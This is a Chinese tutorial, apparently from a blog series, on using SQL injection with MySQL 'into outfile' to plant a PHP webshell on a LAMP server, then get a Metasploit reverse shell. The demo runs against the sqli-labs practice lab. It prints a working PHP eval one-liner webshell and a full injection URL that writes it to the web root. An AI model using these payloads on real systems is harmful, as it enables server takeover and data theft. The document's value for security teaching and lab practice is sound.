暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Sql注入-9:文件上传注入(上)

刘杰寅 2021-08-30
2770


引言

sql注入-9

    之前的sql注入只局限于获取或破坏数据库信息,虽然这已经对服务器足够致命,但并没有办法实现对服务器的完全控制,而本节的sql文件上传注入,则会往服务器注入一个木马,从而获取webshell,因此可以进一步提权实现对服务器的完全控制,本节将以linux+apache+mysql+php服务器架构(LAMP)介绍文件上传注入。

webshell

sql注入-9

    Shell的英语是壳的意思,在计算机中表示内核的概念,比如我们平时windows打开的cmd终端,其实就是一个和计算机内核交互的过程,可以通过指令,实现计算机的一切操作,当然会受到一些权限控制。那什么是webshell呢?百度百科给出了webshell的官方定义:

    Webshell本质就是一个可以被服务器中间件解析执行的语言文件,用来针对web应用的控制,但权限仅限于控制web应用,通过一些shell指令完成对网站的操作。webshell原本是为了方便网站管理者管理网站,但后来慢慢被黑客利用,作为进入服务器的第一道大门。webshell分为很多种,从渗透的角度来说,就是“大木马”和“一句话木马”等,这些webshell使用时只需要将语言文件上传至服务器目录,直接通过浏览器访问即可执行。大木马功能更便捷,可以直接对网站目录和数据库等进行操作,下图展示了一个php类型的大木马。

    在渗透中,往往大木马的文件大小不宜于上传,因此一般都会先上传一句话木马,经典的php一句话木马为:

    <?php @eval($_REQUEST['mima']); ?>

        其中@防止报错,REQUEST包括了post和get两种方式,mima为get或post的参数名,也叫做连接密码。

    一句话木马原理

    sql注入-9
      <?php @eval($_REQUEST['mima']); ?>

          我将上面的一句话写入到shell.php文件,上传到我的服务器。

          该一句话的意思是服务器接收参数mima的值,并以eval函数执行,将参数值转化为php语句执行,例如:mima=phpinfo();服务器则会将phpinfo();字符串转化成php语句执行,显示php信息,这也就是为什么这么短小的一句话可以执行任意php语句的原因,就好像是这一句话占了位置,等待传入的语句执行。php中system()函数提供了执行终端命令的环境,我们用浏览器访问shell.php?mima=system(“ls”);使用get方法接收mima参数,结果返回了我们的预期,打印了当前服务器位置所有的文件。

          通过这种方法可以执行很多文件遍历指令,获取整个服务器的目录,同时也可以传入特定代码,实现与终端的交互以及操作数据库,但是这样的工程量不小,因此出现了webshell工具,只需要上传一句话木马连接后,工具就帮你集成了所有的功能,这里用中国蚁剑连接。(注:webshell工具基本都是通过post方法连接。)

          我们可以看到获取了整个web目录,并且可以实现上传/删除/查看/修改文件等操作,对服务器的web应用造成很大的损害。那么现在有一个问题了,我们该如何把一句话木马上传到服务器上呢,一般文件上传点都会设置过滤,防止php/asp/jsp等格式的文件上传。而我们的sql注入可以实现这一功能,上传一句话木马。

      注入上传

      sql注入-9

          首先服务器mysql允许上传漏洞的前提条件是secure-file-priv参数的设置,该参数是在mysqld配置中。

      1.  secure-file-priv参数设置为空,不限制mysql导入导出。

      2.  secure-file-priv参数设置为null,限制mysql导入导出。

      3.  secure-file-priv参数设置为某路径,只能在该路径下导入导出。

          我们可以通过sql注入等方式先获取该参数的值,确定了mysql为哪一种情况,我们就可以开始文件上传注入了。这里为了方便演示,我把secure-file-priv参数设置为Less-7目录下。

      我们访问Less-7地址,构造pyload:

        ?id=1')) union Select 1,2,'<?php%20@eval($_REQUEST["mima"])?>' into outfile "/www/admin/localhost_80/wwwroot/sqli-labs-master/Less-7/1.php" --+

            Select … into outfile “路径”会把select的内容写入到路径文件中,Less-7的闭合方式是单引号和两个括号,同时union需要前后的列数一致,所以在一句话木马前加上了两列1和2,这一url访问后,mysql就会把一句话木马写入到1.php文件中,实现了文件上传注入。

            我们可以看到1.php中有两行,其中第一行是本身id=1查询出来的结果,第二行是我们额外写入的数据,并且该文件含有一句话木马,接下来就可以用中国蚁剑等工具连接。

        反弹shell

        sql注入-9

            拿到webshell后先不急,因为webshell不稳定,随时可能会被管理员或杀毒软件删掉,而有些服务器为了安全,同时又加上一些防火墙,服务器不接受外界与其的连接,只能自发地去连接外部。这个时候我们一般需要先反弹shell,保证稳定,方便后续渗透。


        使用msf生成一个php反弹shell。

            把该文件通过webshell工具上传至服务器。

            接着打开msf监听,设置payload,地址和端口。

        然后浏览器访问re.php,执行反弹shell。

            成功反弹shell,可以执行终端命令,这里因为我的msf就在演示服务器上,因此ip地址是同一个。

            这里的shell和刚才webshell的区别是:前面蚁剑是主动与1.php连接执行终端命令,而这个反弹shell是服务器主动与我连接,接收命令执行后把结果返回给我。因此可以控制对于不能“进”而能“出”的服务器。

        小结

        sql注入-9

            本节介绍了如何通过sql注入实现文件上传,同时获取webshell和反弹shell,一般类似一句话木马的webshell特征已经非常明显,基本都会被查杀,所以基本在实战渗透中会使用动态二进制加密的冰蝎木马,基本原理都是一样的。本节采用的是msf生成的反弹shell,下一节将会自己使用php编写一个反弹shell,使用python编写一个监听服务器,从代码中深入理解反弹shell的原理。

        感谢观看,理解有误之处,欢迎交流和指导!

        刘杰寅

        微信号|liujieyin666666

        知乎|烈焰宝宝


        文章转载自刘杰寅,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

        评论